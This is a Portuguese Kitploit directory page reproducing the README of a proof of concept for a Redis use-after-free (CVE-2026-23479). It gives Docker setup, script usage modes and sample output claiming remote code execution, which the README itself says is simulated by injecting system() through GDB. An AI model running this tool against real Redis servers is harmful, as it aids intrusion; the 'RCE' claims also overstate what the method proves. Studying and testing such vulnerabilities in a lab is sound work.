Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-23479-Redis-UAF-Proof-of-Concept — Prova de conceito com exploração assistida por GDB (apenas para uso educacional / laboratorial) | Kitploit
Ferramentas/GitHubGitHub/rizlmaulanaa/cve-2026-23479-redis-uaf-proof-of-concept
Análise de VulnerabilidadesExploraçãoDepuradoresAprendizado e EducaçãoSegurança de Banco de DadosExploração de BináriosLabs e Prática
GitHubrizlmaulanaa/cve-2026-23479-redis-uaf-proof-of-concept

CVE-2026-23479-Redis-UAF-Proof-of-Concept

Prova de conceito com exploração assistida por GDB (apenas para uso educacional / laboratorial)

Ver Repositório
8há 1 mêsAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

🔥 CVE-2026-23479 – Prova de Conceito do UAF no Redis

License Python Docker CVE PoC

Use-After-Free no Redis unblockClientOnKey() levando à Execução Remota de Código
Prova de conceito com exploração auxiliada por GDB (apenas para fins educacionais / uso em laboratório)


📖 Visão Geral

CVE-2026-23479 é uma vulnerabilidade crítica de Use‑After‑Free (UAF) nas versões 7.2.0 a 8.6.2 do Redis.
O bug reside em unblockClientOnKey(), que chama . Se o cliente for liberado durante essa chamada (por exemplo, devido a evicção), o chamador continua operando sobre um ponteiro pendente → . Um atacante que consiga moldar o heap após a liberação pode alcançar .

processCommandAndResetClient()
sem verificar seu valor de retorno

UAF

execução arbitrária de código

Este repositório fornece um PoC auxiliado por GDB que:

  • Dispara exatamente o caminho de código vulnerável
  • Prova o UAF ao causar deliberadamente uma falha (chamada freeClient())
  • Demonstra execução arbitrária de comandos ao injetar uma chamada system() no mesmo ponto

⚠️ Importante: Esta não é uma exploração armamentizada. Ela usa GDB dentro de um contêiner Docker privilegiado para simular o que um atacante real poderia alcançar após explorar com sucesso o UAF.
Use-a apenas em seu próprio laboratório ou em sistemas para os quais você tenha permissão explícita de teste.


✨ Recursos

  • 🧪 Quatro modos de operação – crash, gdb, rce, full
  • 🐳 Baseado em Docker – não é necessário instalar um Redis vulnerável no host
  • 🔍 Detecção automática de versão – verifica se o alvo está na faixa afetada
  • 🧹 Autolimpeza – encerra sessões GDB obsoletas antes de cada execução
  • 🎯 Nome de contêiner flexível – passe qualquer contêiner via --container
  • 📦 Arquivo Python único – zero dependências além da biblioteca padrão

🧠 Como Funciona

  1. Bloqueie uma vítima – Um comando XREAD BLOCK faz o cliente aguardar por dados no stream.
  2. Anexe o GDB – O GDB anexa ao processo Redis (pid 1) dentro do contêiner.
  3. Defina um breakpoint em processCommandAndResetClient – a função chamada quando o cliente bloqueado é reprocessado.
  4. Dispare o desbloqueio – Um XADD no mesmo stream acorda a vítima.
  5. Ao atingir o breakpoint:
    • Modo gdb: chama freeClient($rdi) → causa deliberadamente um SIGSEGV → prova o UAF.
    • Modo rce: chama system("seu comando") → executa comandos shell arbitrários como o usuário do Redis (root por padrão).
  6. Verifique – o script verifica se o arquivo de prova esperado existe (RCE) ou se o Redis travou (UAF).

O breakpoint é acionado toda vez que um cliente bloqueado é desbloqueado, mostrando que o mesmo caminho de código que contém o UAF também permite execução de código.


📋 Versões Afetadas

BranchFaixa Vulnerável
7.27.2.0 – 7.2.13
7.47.4.0 – 7.4.8
8.28.2.0 – 8.2.5
8.48.4.0 – 8.4.2
8.68.6.0 – 8.6.2

O script analisa automaticamente a versão do Redis e informa se ele é vulnerável.


🐳 Pré-requisitos

  • Docker instalado e em execução
  • Python 3.8+ (apenas a biblioteca padrão é usada)
  • Uma imagem Docker do Redis 8.6.2 que use apt (ex.: a oficial redis:8.6.2)
  • O contêiner deve ser criado com --privileged (necessário para ptrace)

⚙️ Configuração

1. Clone o repositório

root@kitploit:~
git clone https://github.com/YOUR_USERNAME/CVE-2026-23479-PoC.git
cd CVE-2026-23479-PoC

2. Inicie um contêiner Redis vulnerável

root@kitploit:~
docker run -d --name redis-vuln-local --privileged -p 6379:6379 \
  redis:8.6.2 redis-server --protected-mode no

3. Instale o GDB dentro do contêiner

root@kitploit:~
docker exec -u root redis-vuln-local bash -c "
  apt-get update && apt-get install -y gdb binutils procps
"

4. Verifique

root@kitploit:~
docker exec redis-vuln-local gdb --version
redis-cli -h 127.0.0.1 -p 6379 ping   # deve retornar PONG

🚀 Uso

root@kitploit:~
python3 redisexp.py <target> -p <port> -m <mode> --container <name> [--cmd "command"]

Modos

ModoDescrição
crashTenta disparar o UAF via pressão de memória (sem GDB). O Redis pode travar, mas não é garantido.
gdbAnexa o GDB e chama freeClient() no breakpoint → força um SIGSEGV (prova o UAF).
rceAnexa o GDB e chama system(cmd) no breakpoint → executa um comando shell dentro do contêiner.
fullExecuta crash primeiro; se o Redis não travar, usa gdb como alternativa.

Opções

ArgumentoPadrãoDescrição
target(obrigatório)Endereço IP do servidor Redis
-p, --port6379Porta do Redis
-m, --modefullUm de crash, gdb, rce, full
--containerenv-redis-vuln-1Nome do contêiner Docker
--cmdid > /tmp/pwned_by_cveComando a ser executado no modo rce

📚 Exemplos Passo a Passo

Nota: Todos os comandos são executados na máquina host, não dentro do contêiner Docker.

1. Prove o UAF via GDB

root@kitploit:~
python3 redisexp.py 127.0.0.1 -p 6379 -m gdb --container redis-vuln-local

Saída Esperada (trecho)

root@kitploit:~
[+] Victim blocked on XREAD
[+] GDB script deployed
[*] Triggering unblock via XADD...
[+] SIGSEGV in processCommand after freeClient()
[+] This confirms the UAF code path in unblockClientOnKey()

O Redis irá travar após a falha de segmentação.

Reinicie o contêiner:

root@kitploit:~
docker start redis-vuln-local

2. Alcance a Execução Remota de Código (RCE)

Reinicie o Redis para garantir um estado limpo:

root@kitploit:~
docker restart redis-vuln-local

Execute o exploit:

root@kitploit:~
python3 redisexp.py 127.0.0.1 -p 6379 -m rce \
  --cmd "touch /tmp/pwned" \
  --container redis-vuln-local

Verifique o arquivo de prova:

root@kitploit:~
docker exec redis-vuln-local ls -l /tmp/pwned

Se bem-sucedido, o arquivo existirá, provando que:

root@kitploit:~
system("touch /tmp/pwned");

foi executado dentro do contêiner Redis.


3. Dispare o UAF Sem GDB (Pressão de Memória)

root@kitploit:~
python3 redisexp.py 127.0.0.1 -p 6379 -m crash --container redis-vuln-local

Se o Redis sair inesperadamente (o contêiner não estiver mais em execução), o UAF provavelmente foi disparado.

Reinicie-o com:

root@kitploit:~
docker start redis-vuln-local

4. Execute o Teste Completo

root@kitploit:~
python3 redisexp.py 127.0.0.1 -p 6379 -m full --container redis-vuln-local

Este modo:

  1. Tenta a falha por pressão de memória.
  2. Usa o método auxiliado por GDB como alternativa se o Redis sobreviver.

📸 Exemplo de Saída (Modo RCE)

root@kitploit:~
============================================================
  CVE-2026-23479 Redis UAF Exploit PoC
============================================================
[*] Target: 127.0.0.1:6379
[*] Version: 8.6.2
[+] VULNERABLE

[*] Method: RCE via UAF code path injection
    Exploits CVE-2026-23479 UAF in unblockClientOnKey()
    Breakpoint on processCommandAndResetClient -> system()
    Command: touch /tmp/pwned

[+] Victim blocked on XREAD
Successfully copied 2.05kB to redis-vuln-local:/tmp/cve_rce.gdb
[+] GDB RCE script deployed
[+] GDB attached, breakpoint active
[*] Triggering unblock via XADD...
[*] Checking for RCE evidence in /tmp/pwned...
[+] RCE CONFIRMED! Proof file /tmp/pwned created.
[+] Redis alive after exploit

============================================================
  Results
============================================================
  Target:     127.0.0.1:6379
  Version:    8.6.2
  Vulnerable: YES
  RCE:        CONFIRMED (arbitrary command execution)
============================================================

🔧 Modificações em Relação ao Script Original

O PoC original tinha o nome do contêiner codificado como env-redis-vuln-1 e continha vários problemas quando executado com versões mais novas do Python.

A versão atualizada introduz as seguintes melhorias:

ProblemaCorreção
Nome do contêiner codificadoAdicionado o argumento --container e propagado por todas as funções.
Comando file colocado dentro do bloco commands no script GDBMovido file /usr/local/bin/redis-server para antes de attach para que o GDB carregue os símbolos corretamente.
subprocess.run() usado com capture_output=True e stderr=... ao mesmo tempoSubstituído por stdout=subprocess.DEVNULL e stderr=subprocess.DEVNULL.
Processos GDB obsoletos causando ptrace: Operation not permittedAdicionado pkill -9 gdb antes de iniciar o GDB em trigger_uaf_gdb() e trigger_rce().
Nenhum feedback quando o GDB falhava silenciosamenteAdicionado registro de depuração para a saída do GDB e melhorada a detecção do arquivo de prova.

🧹 Limpeza

root@kitploit:~
docker stop redis-vuln-local
docker rm redis-vuln-local

⚠️ Aviso Legal

Esta ferramenta destina-se exclusivamente a fins educacionais, pesquisa de segurança autorizada e teste de sistemas que você possui ou para os quais tem permissão explícita de avaliação.

O autor não endossa nem incentiva o uso não autorizado ou malicioso.

Sempre obtenha autorização adequada antes de testar qualquer sistema de produção ou de terceiros.


📚 Referências

  • CVE-2026-23479 – NVD Detail
  • Redis Security
  • Redis GitHub Repository

Feito com ❤️ para a comunidade de segurança.

Mantenha-se ético. Mantenha-se seguro.

Baixar ferramenta